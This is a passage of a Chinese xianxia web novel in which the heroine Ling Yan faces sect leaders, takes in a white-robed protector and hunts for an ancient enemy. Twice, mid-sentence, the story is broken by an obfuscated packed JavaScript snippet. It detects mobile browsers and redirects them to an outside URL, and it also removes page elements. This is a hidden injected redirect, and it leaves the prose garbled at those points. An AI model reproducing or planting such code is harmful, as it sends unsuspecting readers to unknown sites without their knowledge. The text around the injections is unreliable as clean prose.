“就这。” 凌砚摇摇头。 “三万年前的仇人,就这水平?” 温寻想了想。 “可能是混得最差的那个。” 凌砚转身往回走。 “无聊。” --- 下午的时候,又来人了。 这次不是报仇的。 是送信的。 送信的是个金丹期的小修士,战战兢兢站在山门外,手里捧着一封信。 “哪来的?”温寻问。 “凌、凌霄阁。” 温寻挑眉。 “裴元派来的?” 小修士摇头。 “不、不是。是阁主派来的。” 温寻眼神一凝。 凌砚接过信,拆开。 信很短。 “三日后,中域凌霄阁,请你一叙。不来,后果自负。” 落款:凌霄阁阁主。 凌砚看完,把信递给温寻。 温寻看完,眉头皱起来。 “鸿门宴?” 凌砚点头。 “鸿门宴。” “去吗?” 凌砚想了想。 “去。” “为什么?” “因为他说——后果自负。”凌砚笑了笑,“我想看看什么后果。” 温寻看着她。 “小师妹,这明显是坑。” “我知道。” “那你还要跳?” 凌砚摇头。 “不是跳坑,是去拆坑。” 她看着那封信。 “裴元说过,凌霄阁里有人在等我的消息。这次正好去看看,到底是谁。” 温寻沉默了两秒。 然后笑了。 “行,我陪你。” “不用。” 温寻一愣。 凌砚看着他。 “这次我一个人去。” 温寻脸色变了。 “小师妹——” “听我说完。”凌砚打断他,“我一个人去,他们才会放松警惕。你们暗中跟着,等我信号。” 她看着温寻。 “三师兄,你不是搞情报的吗?潜行匿踪,你最在行。” 温寻沉默。 然后问: “信号是什么?” 凌砚想了想。 “我动手的时候。” 温寻愣了一下。 然后笑了。 “行。” --- 三天后。 中域,凌霄阁。 凌砚站在山门前,看着这座正道三宗之一的宗门。 气派是真气派。 山门高百丈,雕龙画凤,灵气缭绕。台阶三千级,每级都刻着阵法。山顶云雾中,隐约能看到成片的宫殿。 守门弟子看到她,脸色变了变。 “凌、凌砚?” 凌砚点头。 “是我。” 守门弟子咽了口唾沫。 “阁主有请。请跟我来。” 凌砚跟着他往上走。 一路上,无数目光落在她身上。 好奇的,警惕的,敌意的,还有—— 恐惧的。 凌砚注意到,有些弟子看到她,脸色发白,躲得远远的。 她忽然想起那张纸条上写的: “疯批小祖宗” 看来这名号,三万年后还挺好使。 走到半山腰,迎面走来一群人。 领头的是个年轻男人,穿着华贵,面容俊朗,但眼神轻佻。 他看到凌砚,眼睛一亮。 “哟,这就是那个无妄宗的小师妹?” 凌砚看他一眼。 “你谁?” 年轻男人脸色一僵。 “我是凌霄阁少阁主,沈玉。” 凌砚点头。 “哦。” 沈玉皱眉。 “你‘哦’什么?” 凌砚看着他。 “你想让我说什么?” 沈玉被噎了一下。 旁边的人连忙打圆场。 “少阁主,阁主还在等——” 沈玉一摆手。 “急什么?” 他上下打量凌砚。 “听说你是个凡人?” 凌砚没说话。 沈玉笑了。 “一个凡人,也配让我爹亲自见?” 他往前走了一步。 “这样吧,你陪我喝杯茶,我帮你跟我爹说几句好话。怎么样?” 凌砚看着他。 看了两秒。 然后问: “你知道我是谁吗?” 沈玉挑眉。 “无妄宗的小师妹,筑基期的凡人。还能是谁?” 凌砚点头。 “对,我就是个凡人。” 她笑了笑。 “但我有个习惯。” 沈玉皱眉。 “什么习惯?” “谁骂我,我打谁。” 话音刚落,沈玉飞了出去。 所有人都没反应过来。 沈玉撞在台阶上,滚了七八圈,最后趴在地上,满脸是血。 “你、你敢打我——” 凌砚走过去,蹲下。 “打你怎么了?” 她拍了拍沈玉的脸。 “你爹是阁主,又不是我爹。你在我面前摆谱——” 她站起来。 “谁惯的你?” 四周一片死寂。 那些凌霄阁弟子,全都呆住了。 少阁主,化神初期,被一个筑基期的凡人,一巴掌扇飞了? 这他妈什么情况? 凌砚低头看自己的手。 刚才那一瞬间,她感觉到一股力量从体内涌出来。 不是灵力。 是别的东西。 她想起那滴金色的血。 还有三万年前的记忆。 原来—— 不只是记忆。 沈玉趴在地上,眼睛瞪得老大。 “你、你不是凡人——” 凌砚看着他。 “我确实不是凡人。” 她笑了笑。 “我是你祖宗。” 沈玉脸都绿了。 远处,一道声音传来: “够了。” 一个人影从山顶落下。 灰袍,白发,面容威严。 凌霄阁阁主,沈天阙。 大乘后期。 他看着凌砚,目光复杂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323567|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “三万年了。” 凌砚也看着他。 “你认识我?” 沈天阙点头。 “认识。” “那你请我来,是想干什么?” 沈天阙沉默了两秒。 然后说: “想确认一件事。” “什么事?” “你——还记得多少?” 凌砚想了想。 “不多。就记得战场,血,还有——” 她看着沈天阙。 “一个穿白衣服的人。” 沈天阙眼神一凝。 “还有呢?” 凌砚摇头。 “没了。” 沈天阙看着她。 看了很久。 然后说: “进来吧。” 他转身往山顶走。 凌砚跟上去。 走了几步,忽然回头。 沈玉还趴在地上,满脸怨恨地盯着她。 凌砚笑了笑。 “再看,再扇你。” 沈玉立刻低头。 --- 凌霄阁主殿。 沈天阙坐在主位上,看着凌砚。 “你胆子很大。” 凌砚点头。 “还行。” “一个人来,不怕我动手?” “不怕。” “为什么?” 凌砚想了想。 “因为你不敢。” 沈天阙挑眉。 “不敢?” 凌砚看着他。 “三万年前的事,你参与过吧?” 沈天阙沉默。 凌砚继续说: “参与过的人,都知道我师父是谁。知道他是谁的人,都不敢动我。” 她笑了笑。 “除非你想被龙族灭门。” 沈天阙脸色变了。 凌砚看着他变来变去的脸,忽然问: “那个穿白衣服的人,是谁?” 沈天阙摇头。 “不知道。” “不知道?” “真的不知道。”沈天阙说,“当年围攻你的时候,他一直蒙着脸。从头到尾,没人见过他真面目。” 凌砚皱眉。 “那他为什么要杀我?” 沈天阙沉默了一会儿。 然后说: “因为你手里有一样东西。” 凌砚眼神一凝。 “什么东西?” “不知道。”沈天阙摇头,“只知道那东西很重要,重要到整个仙界都想得到。” 他看着凌砚。 “那个人杀你,就是为了那东西。但后来他发现——那东西不在你身上。” 凌砚愣了一下。 “不在我身上?” “对。”沈天阙点头,“你临死前,把它给了别人。” 凌砚沉默。 给了别人? 给谁? 她拼命回想,但那段记忆是空的。 沈天阙看着她。 “你真的一点都不记得?” 凌砚摇头。 沈天阙沉默了很久。 然后说: “那算了。” 他站起来。 “你走吧。” 凌砚看着他。 “你叫我来,就为了问这个?” 沈天阙点头。 “就为了问这个。” 凌砚站起来。 走到门口,忽然回头。 “你儿子,我打了,没问题吧?” 沈天阙嘴角抽了抽。 “……没问题。” “那就好。” 凌砚推门出去。 --- 山门外。 凌砚刚出来,就看到温寻蹲在路边,摇着扇子。 “小师妹,出来了?” 凌砚点头。 “出来了。” “没事吧?” “没事。” 温寻站起来,上下打量她。 “真没事?我看那少阁主被人抬着出去了,脸肿得跟猪头一样。” 凌砚笑了。 “他自找的。” 温寻也笑了。 “行,不愧是我们小师妹。” 两人往回走。 走了几步,凌砚忽然问: “三师兄。” “嗯?” “如果有一天,我疯了,你会怎么办?” 温寻愣了一下。 然后笑了。 “还能怎么办?陪你疯呗。” 凌砚看着他。 温寻继续说: “反正你疯起来,打的都是该打的人。那我们就跟着你,帮你打。” 他摇着扇子。 “打不过的,叫掌门。掌门打不过的,叫长老。长老也打不过的——” 他笑了笑。 “那就一起死呗。反正一家人,死也要整整齐齐。” 凌砚看着他。 看了很久。 然后笑了。 “三师兄,你说话真他妈好听。” 温寻一愣。 “小师妹,你说脏话了?” “说了,怎么了?” 温寻笑了。 “没怎么,就是觉得——” 他顿了顿。 “你越来越像我们无妄宗的人了。” 凌砚挑眉。 “我以前不像?” “以前也像。”温寻摇着扇子,“但现在更像。” 凌砚笑了。 两人并肩往前走。 夕阳把他们的影子拉得很长。 身后,凌霄阁的山门越来越远。 但凌砚知道,这只是开始。 那个穿白衣服的人,那个她给出去的东西,还有那些三万年前的恩怨—— 迟早会找上门来。 不过没关系。 反正—— 她有人陪着疯。 8. 祖宗显灵了 凌砚从凌霄阁回来之后,连续睡了十二个时辰。 不是累。 是懒。 反正宗门里没人管她。 掌门在睡觉,长老在浇花,大师姐在练剑,二师兄在炼器,三师兄在搞钱,四师姐在研究新菜谱。 她一个人躺在院子里晒太阳,晒得整个人都软了。 直到第三天早上。 温寻冲进来。 “小师妹!小师妹!出大事了!” 凌砚睁开一只眼。 “什么事?” 温寻表情古怪。 “那个少阁主,沈玉,死了。” 凌砚愣了两秒。 然后坐起来。 “死了?” “对。” “怎么死的?” 温寻摇头。 “不知道。据说是昨晚死的,死在房间里,没有任何外伤,也没有中毒迹象。” 凌砚皱眉。 “那关我什么事?” 温寻看着她。 “因为他死之前,只见过你。” 凌砚沉默了两秒。 然后骂了一句: “操。” --- 半个时辰后。 凌霄阁的人到了。 来的是个化神期长老,脸色铁青,站在山门外,声音传遍整个无妄秘境: “无妄宗凌砚!出来!” 凌砚走出来。 身后跟着谢无妄。 那长老看到她,眼睛都红了。 “你还敢出来!” 凌砚看着他。 “我为什么不敢?” “你杀了我家少阁主!” “证据呢?” 长老咬牙。 “少阁主死之前,只见过你!不是你还能是谁?” 凌砚点头。 “就这?” “就这还不够?” 凌砚笑了。 “我问你,我什么修为?” 长老愣了一下。 “筑基。” “你们少阁主什么修为?” “化神。” 凌砚看着他。 “我一个筑基,杀一个化神——还杀得无声无息,没有外伤,没有中毒——你觉得可能吗?” 长老脸色变了。 凌砚继续说: “而且我杀他干嘛?就因为他嘴贱?那我当时就杀了,何必等三天?” 长老沉默了。 凌砚看着他。 “回去告诉你们阁主,这事跟我没关系。想查,好好查。想栽赃——” 她笑了笑。 “让他亲自来。” 长老脸色铁青。 但他没法反驳。 因为凌砚说得对。 一个筑基,杀一个化神,还杀得这么干净——根本不可能。 他咬牙。 “你最好别跑。” 凌砚挑眉。 “跑什么?我宗门在这儿,跑得了和尚跑不了庙。” 长老转身走了。 凌砚看着他的背影。 “三师兄。” 温寻从旁边冒出来。 “在。” “让人查一下,沈玉到底怎么死的。” 温寻点头。 “已经在查了。” 凌砚沉默了一会儿。 然后说: “有人在搞我。” 温寻看着她。 “知道是谁吗?” 凌砚摇头。 “不知道。但能悄无声息杀一个化神,还栽赃到我头上——这人修为不低。” 她想了想。 “而且,他肯定认识我。” 温寻眼神一凝。 “三万年前的人?” 凌砚点头。 “可能。” --- 两天后。 温寻查到了消息。 “小师妹,沈玉的死因查清楚了。” 凌砚抬头看他。 “怎么死的?” 温寻表情古怪。 “被人抽了魂魄。” 凌砚愣了一下。 “抽魂?” “对。”温寻点头,“而且是上古手法,现在没人会用。” 凌砚沉默。 上古手法。 三万年前的东西。 她忽然想起那个穿白衣服的人。 温寻继续说: “而且我的人查到,沈玉死的那天晚上,有人看到一道白影从凌霄阁离开。” 凌砚眼神一凝。 “白影?” “对。白衣,白头发,看不清脸。” 凌砚站起来。 “他在等我。” 温寻看着她。 “等你去查?” 凌砚摇头。 “等我去找他。” 她往外走。 谢无妄拦住她。 “太危险。” 凌砚看着她。 “大师姐,有人在引我出去。我不去,他还会杀人。下一个可能是凌霄阁的任何人,也可能是——” 她顿了顿。 “可能是你们。” 谢无妄皱眉。 凌砚继续说: “而且我想知道,他到底要什么。” 谢无妄沉默了两秒。 然后说: “我陪你。” 凌砚摇头。 “这次我自己去。” 谢无妄脸色一变。 “凌砚——” “听我说完。”凌砚看着她,“他认识我,不认识你们。你们跟着,他反而会躲。” 她笑了笑。 “而且我有你们给的东西,死不了。” 谢无妄沉默。 温寻走过来。 “小师妹,你知道他在哪?” 凌砚点头。 “大概知道。” “哪?” 凌砚看向北方。 “北域,冰原。” --- 三天后。 北域,冰原。 凌砚站在一片白茫茫的雪地里,裹紧了身上的大氅。 这地方真他妈冷。 她看着四周。 什么也没有。 只有雪,风,和无尽的白色。 她深吸一口气。 “我来了。” 声音被风吹散。 但有人听到了。 一道白影从雪地里升起,站在她面前。 白衣,白发,白得跟雪一样。 看不清脸。 凌砚看着他。 “你是谁?” 那人没说话。 凌砚又问: “沈玉是你杀的?” 那人点头。 “为什么杀他?” 那人开口了。 声音很轻,像是从很远的地方传来。 “因为他碰了你。” 凌砚愣了一下。 “什么?” 那人往前走了一步。 “他碰了你。他该死。” 凌砚皱眉。 “你他妈有病吧?” 那人看着她。 “我是为你好。” 凌砚笑了。 “为我好?杀一个人,栽赃给我——这叫为我好?” 那人沉默。 凌砚盯着他。 “你到底是谁?” 那人看着她。 过了很久。 然后说: “我是你三万年前救过的人。” 凌砚愣住了。 那人继续说: “你忘了。但我记得。” 他往前走了一步。 “那天你一个人,面对三万人。我躲在角落里,以为自己要死了。你看到我,把我扔出去,说——” 他顿了顿。 “‘小孩子滚远点,别他妈碍事。’” 凌砚沉默了。 那人看着她。 “你救了我。我一直记得。” 凌砚张了张嘴。 不知道该说什么。 那人继续说: “我找了你三万年。终于找到了。” 他看着凌砚。 “谁欺负你,我杀谁。” 凌砚沉默了很久。 然后问: “你叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323568|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” 那人摇头。 “不重要。” “那你怎么知道我在这儿?” 那人指了指她胸口。 “那颗鲛人泪。上面有你的气息。” 凌砚低头看。 那颗鲛人泪,沈清和送的。 原来一直被人盯着。 她抬起头。 “所以你就杀了沈玉?” 那人点头。 “他碰了你。” “他只是嘴贱。” “那也是碰。” 凌砚深吸一口气。 “我谢谢你。但下次别杀了。” 那人看着她。 “为什么?” 凌砚想了想。 “因为杀人解决不了问题。而且——” 她笑了笑。 “我自己会杀。” 那人愣了一下。 然后笑了。 笑得很轻。 “你还是那样。” 凌砚看着他。 “你接下来打算怎么办?” 那人想了想。 “跟着你。” 凌砚皱眉。 “不行。” “为什么?” “因为我不需要保镖。” 那人沉默。 凌砚看着他。 “你等了三万年,就为了给我当保镖?” 那人点头。 凌砚骂了一句: “操。” 她想了想。 然后说: “这样吧。你换个方式。” 那人看着她。 “什么方式?” 凌砚指了指身后。 “我宗门,缺个看门的。” 那人愣住。 凌砚继续说: “你修为不低吧?化神?大乘?” 那人点头。 “大乘初期。” 凌砚挑眉。 “那你够格了。” 她转身往回走。 “跟我来吧。” 那人站在原地,一动不动。 凌砚回头看他。 “愣着干嘛?走啊。” 那人看着她。 眼眶有点红。 然后跟上去。 雪地里,两道身影一前一后。 凌砚头也不回。 “对了,你叫什么?” 那人想了想。 “我叫……白。” “白什么?” “就白。” 凌砚点头。 “行,白。以后你就叫白了。” 那人笑了。 “好。” --- 五天之后。 无妄宗,山门边多了个小房子。 白的。 他每天坐在门口,看着来往的人。 不说话,也不动。 像个雪人。 温寻看了好几天,终于忍不住问凌砚: “小师妹,你从哪捡回来的?” 凌砚想了想。 “三万年前。” 温寻愣住。 凌砚继续往前走。 “别管他,他爱坐着就坐着。” 温寻看着那个白色的身影。 忽然打了个冷战。 “他不会一直坐着吧?” 凌砚头也不回。 “会。” 温寻:“……” 这宗门,越来越他妈怪了。 --- 当天晚上。 凌砚躺在床上,看着天花板。 忽然想起白说的那句话: “你救了我。我一直记得。” 她笑了笑。 三万年前的事,她不记得。 但三万年后,有人记得。 挺好。 她翻了个身,闭上眼睛。 窗外,白色的身影坐在山门边,一动不动。 月光照在他身上,跟雪融在一起。 他抬起头,看着凌砚房间的方向。 嘴角微微翘了一下。 然后继续坐着。 像一块石头。 一块会笑的石头。 9. 看门的祖宗 第九章看门的祖宗 白在山门边坐了七天。 一动不动。 不吃不喝。 不说话。 像个雪雕。 温寻每天进出山门,都要从他面前经过。 第一天,温寻打招呼:“早啊。” 白没反应。 第二天,温寻又问:“吃了吗?” 白没反应。 第三天,温寻带了个馒头:“真不吃?” 白还是没反应。 第四天,温寻放弃了。 他跟凌砚抱怨:“小师妹,你捡回来的那个,是不是死了?” 凌砚头也不抬:“死了会发臭。” “那他怎么不动?” “在动。” “哪动了?” 凌砚指了指:“眼睛。” 温寻凑近看。 白的眼睛确实在动。 跟着凌砚的方向转。 凌砚走到哪,他眼珠子转到哪。 温寻:“……操。” 这是盯梢还是看门? 他想了想,又问:“他不会一直这样吧?” 凌砚终于抬头看他。 “三师兄。” “嗯?” “你怕他?” 温寻一愣。 然后笑了。 “我怕他?我一个搞情报的,会怕一个雪人?” 话音刚落,白忽然转头看他。 就一眼。 温寻后背一凉。 他默默往后退了一步。 凌砚笑了。 “三师兄,你脸都白了。” 温寻嘴硬:“冻的!北边来的风!” 凌砚没拆穿他。 站起来,往山门走。 白的目光跟着她。 凌砚走到他面前,蹲下。 “你打算一直坐着?” 白想了想。 “可以坐很久。” “多久?” “三万年都等了。” 凌砚沉默了两秒。 然后说: “那你继续坐着吧。” 她站起来,往里走。 走了几步,忽然回头。 “对了,饿了自己去饭堂。四师姐做的饭,一般人吃不到。” 白的眼睛亮了一下。 只是一下。 然后继续坐着。 --- 当天晚上。 沈清和发现饭堂少了一盘红烧肉。 她数了数。 一共做了八盘。 早上还在。 晚上就剩七盘。 她问温寻:“三师兄,你拿肉了?” 温寻摇头:“我吃肉还用偷?” 问苏折。 苏折头也不抬:“我对吃的不感兴趣。” 问谢无妄。 谢无妄面无表情:“我不吃红烧肉。” 问凌砚。 凌砚想了想。 然后往山门看了一眼。 白的嘴角,有一点点油光。 非常淡。 但她看到了。 凌砚笑了。 “四师姐,明天多做点。” 沈清和愣了一下。 然后也笑了。 “好。” --- 第二天。 饭堂里多了两盘红烧肉。 白的嘴角,油光更亮了。 --- 第十天。 温寻终于习惯了白的存在。 习惯的表现是: 他敢从白面前走过了。 虽然走得很快。 但起码是走,不是跑。 他自我安慰:这不叫怕,这叫尊重。 毕竟人家大乘期。 毕竟人家等了三万年。 毕竟人家杀人不眨眼。 尊重一下怎么了? 他正想着,白忽然开口。 “你。” 温寻脚步一顿。 “我?” 白看着他。 “你是搞情报的?” 温寻点头。 “对。” 白沉默了两秒。 然后说: “帮我查个人。” 温寻挑眉。 “谁?” 白报了一个名字。 温寻脸色变了。 “你查他干嘛?” 白看着他。 眼神很平静。 但温寻后背又凉了。 “他当年碰过她。” 温寻愣了两秒。 才反应过来“她”是谁。 他咽了口唾沫。 “碰过……是什么意思?” 白没回答。 但眼神说明了一切。 温寻沉默了一会儿。 然后说: “那人现在在哪?” 白摇头。 “不知道。所以让你查。” 温寻深吸一口气。 “行。我查。” 他转身要走。 白忽然又说: “别告诉她。” 温寻回头看他。 “为什么?” 白看着凌砚房间的方向。 “她不想我杀人。” 温寻沉默。 过了很久。 他点点头。 “知道了。” --- 三天后。 温寻把一张纸条递给白。 白看完,收起来。 “谢了。” 温寻看着他。 “你真要去?” 白没回答。 温寻叹了口气。 “那人现在在中域,青云宗,是个长老。化神后期,身边常年跟着十几个护卫。” 白点头。 “知道了。” 他站起来。 温寻愣了一下。 “你现在去?” 白看着他。 “不然呢?” 温寻张了张嘴。 不知道该说什么。 白转身往外走。 走了几步,忽然停住。 “别告诉她。” 然后消失在夜色里。 温寻站在原地,看着那个方向。 过了很久。 他骂了一句: “操。” --- 第二天早上。 凌砚发现白不见了。 她走到山门边,看着那个空荡荡的位置。 然后转头看温寻。 “三师兄。” 温寻正在假装看风景。 “嗯?” “白呢?” 温寻继续看风景。 “不知道啊,可能去散步了?” 凌砚盯着他。 温寻后背发凉。 “小师妹,你这么看我干嘛?” 凌砚笑了。 笑得很温柔。 “三师兄,你知不知道,你说谎的时候,眼睛会往右看?” 温寻僵住了。 凌砚走过去,拍拍他肩膀。 “说吧,他干嘛去了?” 温寻沉默了两秒。 然后认命地叹了口气。 “去杀人了。” 凌砚挑眉。 “杀谁?” 温寻报了个名字。 凌砚听完,想了想。 “这人谁?” 温寻看着她。 “你三万年前的事,我不清楚。但白说——这人当年碰过你。” 凌砚愣了一下。 然后沉默。 过了很久。 她问: “什么时候走的?” “昨晚。” “现在在哪?” 温寻摇头。 “不知道。但目标是青云宗的一个长老,化神后期。” 凌砚转身就走。 温寻喊住她。 “小师妹!你去哪?” 凌砚头也不回。 “去收尸。” 温寻愣住。 “收谁的尸?” 凌砚的声音从远处传来。 “看情况。” --- 中域,青云宗。 白站在山门外,看着这座巍峨的宗门。 太阳刚升起。 晨光照在他身上,把他映得像一尊雕像。 守门弟子看到他,愣了一下。 “你、你是谁?” 白没说话。 往里走。 守门弟子拦住他。 “站住!这里是青云宗——” 白看了他一眼。 就一眼。 守门弟子忽然说不出话。 整个人僵在原地。 白从他身边走过,继续往里走。 一路往上。 走到半山腰,迎面来了一队巡逻弟子。 “什么人!” 白没停。 继续走。 巡逻弟子拔剑。 下一秒,全躺下了。 不是死。 只是躺下。 白继续往上走。 一直走到主峰。 主峰上,一个灰袍老者正在打坐。 听到脚步声,他睁开眼。 看到白,脸色一变。 “你、你是谁?” 白看着他。 “三万年前,你碰过她。” 灰袍老者脸色惨白。 “我、我不知道你在说什么——” 白往前走了一步。 灰袍老者想跑。 但发现自己动不了。 白走到他面前,低头看着他。 “哪只手?” 灰袍老者颤抖着。 “我、我没——” “哪只手?” 声音很平静。 但灰袍老者快吓死了。 他想起三万年前那天。 那个浑身是血的女人。 那些追杀她的人。 他那时候只是个小喽啰,远远跟在后面。 根本没碰过她。 但—— 他确实伸过手。 想抢她掉在地上的东西。 虽然没抢到。 但手确实伸了。 他看着白的眼睛。 忽然明白了一件事。 这个人,不是来讲道理的。 他是来算账的。 不管他碰没碰到。 只要他伸过手。 就够了。 灰袍老者闭上眼睛。 “右、右手。” 白点头。 然后抬手。 轻轻一点。 灰袍老者惨叫一声。 右手断了。 不是砍断。 是直接消失了。 灰袍老者捂着空荡荡的右肩,瘫在地上。 白看着他。 “下次,是头。” 转身离开。 走到门口,忽然停住。 外面站着一个人。 凌砚。 她不知道什么时候来的,就站在门口,看着他。 白沉默。 凌砚也沉默。 过了很久。 凌砚开口: “杀完了?” 白摇头。 “没杀。” 凌砚挑眉。 “没杀?” 白点头。 “你说过,不想我杀人。” 凌砚看着他。 白的眼睛很平静。 但凌砚忽然有点想笑。 这人等了三万年,就为了给她当保镖。 保镖的第一件事,是听她的话。 即使她想杀的人就在面前。 即使他等了三万年就为了这一刻。 他还是没杀。 因为她说过不想。 凌砚走过去。 走到他面前。 抬头看他。 “白。” “嗯?” “你他妈是不是傻?” 白愣了一下。 凌砚继续说: “我说不想你杀人,你就真的不杀?” 白看着她。 “你说的。” 凌砚深吸一口气。 然后笑了。 “行。你听话。” 她转身往外走。 “走吧,回家吃饭。” 白跟上去。 走了几步,凌砚忽然回头。 “对了。” “嗯?” “下次要杀人,叫我一起。” 白愣住。 凌砚继续往前走。 “我也等了三万年,凭什么你一个人爽?” 白站在原地,看着她走远的背影。 忽然笑了。 笑得很轻。 然后跟上去。 --- 青云宗主峰。 灰袍老者瘫在地上,看着自己消失的右手。 脸色惨白。 旁边,一个弟子战战兢兢跑过来。 “长、长老!要不要追——” 灰袍老者摇头。 “不、不用追。” 弟子愣住。 “为什么?” 灰袍老者看着远方。 那两道身影已经走远了。 他忽然想起三万年前那个女人临死前说的话: “老娘三万年后还回来,你们等着。” 他闭上眼。 “她……真的回来了。” --- 三天后。 无妄宗。 白的座位从山门边,移到了饭堂门口。 还是坐着。 还是不动。 但手里多了个碗。 碗里是红烧肉。 温寻每次经过,都要看一眼。 然后默默走开。 这天他终于忍不住了。 “小师妹。” “嗯?” “他为什么改坐饭堂门口了?” 凌砚想了想。 “因为四师姐做的肉好吃。” 温寻沉默了两秒。 然后问: “那他以后还看门吗?” 凌砚摇头。 “不看了。” “那谁看门?” 凌砚指了指他。 温寻愣住。 “我?” 凌砚点头。 “你。” 温寻脸都绿了。 “我他妈一个搞情报的,你让我看门?” 凌砚看着他。 “三师兄。” “嗯?” “你不是说,一家人,死也要整整齐齐吗?” 温寻愣住。 凌砚笑了。 “看个门而已,又不是让你去死。” 她转身往里走。 “而且——” 她头也不回。 “白的饭,你管。” 温寻站在原地,风中凌乱。 远处,白坐在饭堂门口,端着碗,看着他。 嘴角微微翘起。 温寻骂了一句: “操。” --- 当天晚上。 饭堂门口多了个小桌子。 温寻坐在桌子后面,摇着扇子。 白坐在旁边,端着碗。 两人一左一右。 像个门神组合。 凌砚路过,看了一眼。 然后笑了。 “三师兄,挺适合你的。” 温寻脸都黑了。 “小师妹,你再说我辞职。” 凌砚挑眉。 “辞职去哪?” 温寻想了想。 然后叹气。 “算了,看门就看门吧。” 他摇着扇子。 “反正咱们宗,也没人来。” 话音刚落。 山门外传来一阵喧哗。 温寻愣住。 凌砚笑了。 “三师兄,有人来了。” 温寻站起来。 “谁?” 凌砚看向山门方向。 “不知道。但应该是——” 她顿了顿。 “找我的。” --- 山门外。 站着一群人。 领头的是个中年男人,穿着青云宗的长老袍,面色铁青。 身后跟着二十多个弟子。 温寻走过去。 “干嘛的?” 中年男人看着他。 “让凌砚出来。” 温寻挑眉。 “找她干嘛?” 中年男人咬牙。 “她的人,打伤了我青云宗长老!” 温寻愣了一下。 然后笑了。 “打伤?不是没死吗?” 中年男人脸色更黑了。 “你——” 温寻摇着扇子。 “而且你说她的人打的——证据呢?” 中年男人噎住。 温寻继续说: “没证据就来闹,你当无妄宗是什么地方?” 中年男人深吸一口气。 “我今天不是来吵架的。” 温寻挑眉。 “那来干嘛?” 中年男人看着他。 “来传话。” “传什么话?” 中年男人从怀里取出一封信。 “青云宗宗主,请凌砚三日后一叙。” 温寻接过信。 看了一眼。 然后问: “又他妈是鸿门宴?” 中年男人脸色一变。 “你——” 温寻笑了。 “上次凌霄阁的鸿门宴,你们没听说?” 中年男人沉默。 温寻继续说: “凌霄阁少阁主死了,到现在没查出来是谁杀的。凌霄阁阁主屁都没放一个。你猜为什么?” 中年男人脸色变了。 温寻往前走了一步。 “因为他不敢。” 他看着中年男人。 “你们宗主,敢吗?” 中年男人倒退一步。 温寻笑了笑。 “信我收了。回吧。” 他转身往里走。 中年男人站在原地,脸色变了几变。 最后咬牙。 “走!” 一群人灰溜溜走了。 温寻走到凌砚面前,把信递给她。 “小师妹,又是请你的。” 凌砚接过,拆开。 看完之后,笑了。 温寻看着她。 “怎么说?” 凌砚把信递回去。 “说三万年前的事,想跟我聊聊。” 温寻挑眉。 “去吗?” 凌砚想了想。 然后看向饭堂门口。 白坐在那里,端着碗,看着她。 凌砚笑了。 “去。” “带谁?” 凌砚指了指白。 “他。” 温寻愣了一下。 “就带他?” 凌砚点头。 “就带他。” 温寻想了想。 然后笑了。 “行。” 他看着白。 “兄弟,好好表现。” 白没理他。 继续吃肉。 --- 三天后。 中域,青云宗。 凌砚站在山门前,旁边站着白。 还是那座山门。 比凌霄阁的还高。 凌砚看了一眼,然后往里 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“怎么,自己不敢动手,让下人上?” 白看了她一眼。 就一眼。 沈清月忽然说不出话。 整个人僵在原地。 白收回视线。 凌砚笑了。 “你刚才说什么?我没听清。” 沈清月张了张嘴。 发不出声。 凌砚拍拍她肩膀。 “嗓子不好就少说话。” 然后继续往上走。 白跟在后面。 沈清月站在原地,浑身发抖。 她刚才那一瞬间,感觉到了—— 死亡。 --- 青云宗主殿。 一个老者坐在主位上,白发白须,面容威严。 青云宗宗主,沈万山。 大乘巅峰。 他看着凌砚,目光复杂。 “三万年前。” 凌砚点头。 “对。” 沈万山沉默了一会儿。 然后说: “我见过你。” 凌砚挑眉。 “在哪?” 沈万山看着她。 “战场上。” 凌砚没说话。 沈万山继续说: “那时候我还年轻,只是个金丹期的小修士,远远跟在后面看。” 他看着凌砚。 “你一个人,对着三万人。” “打了三天三夜。” “最后倒下去的时候,还在笑。” 凌砚沉默。 沈万山看着她。 “你知道我当时在想什么吗?” 凌砚摇头。 沈万山说: “我在想——这他妈是个疯子。” 凌砚愣了一下。 然后笑了。 “然后呢?” 沈万山也笑了。 “然后我就想,要是能认识这个疯子就好了。” 他看着凌砚。 “可惜没机会。” 凌砚看着他。 “现在有机会了。” 沈万山点头。 “对。” 他站起来。 走到凌砚面前。 然后—— 跪下。 凌砚愣住了。 沈万山跪在地上,看着她。 “三万年前,我欠你一条命。” 凌砚皱眉。 “什么意思?” 沈万山说: “那天战场上,我被围攻。你路过,顺手救了我。” 凌砚想了想。 完全不记得。 沈万山继续说: “你可能不记得。但你确实救过我。” 他抬起头。 “所以我今天请你来,不是鸿门宴。” “是想还债。” 凌砚看着他。 看了很久。 然后说: “你起来。” 沈万山没动。 凌砚又说: “我让你起来。” 沈万山这才站起来。 凌砚看着他。 “你欠我的,不用还。” 沈万山愣住。 凌砚继续说: “因为我不记得。” 她笑了笑。 “而且,三万年前的事,我不想再提了。” 沈万山沉默。 过了很久。 他点点头。 “好。” 他看着凌砚。 “那你今天来,想做什么?” 凌砚想了想。 然后说: “想知道一件事。” “什么事?” 凌砚看着他。 “那个穿白衣服的人,是谁?” 沈万山脸色变了。 凌砚盯着他。 “你知道,对吧?” 沈万山沉默了很久。 然后点头。 “知道。” “是谁?” 沈万山深吸一口气。 然后说: “你师父的弟弟。” 凌砚愣住了。 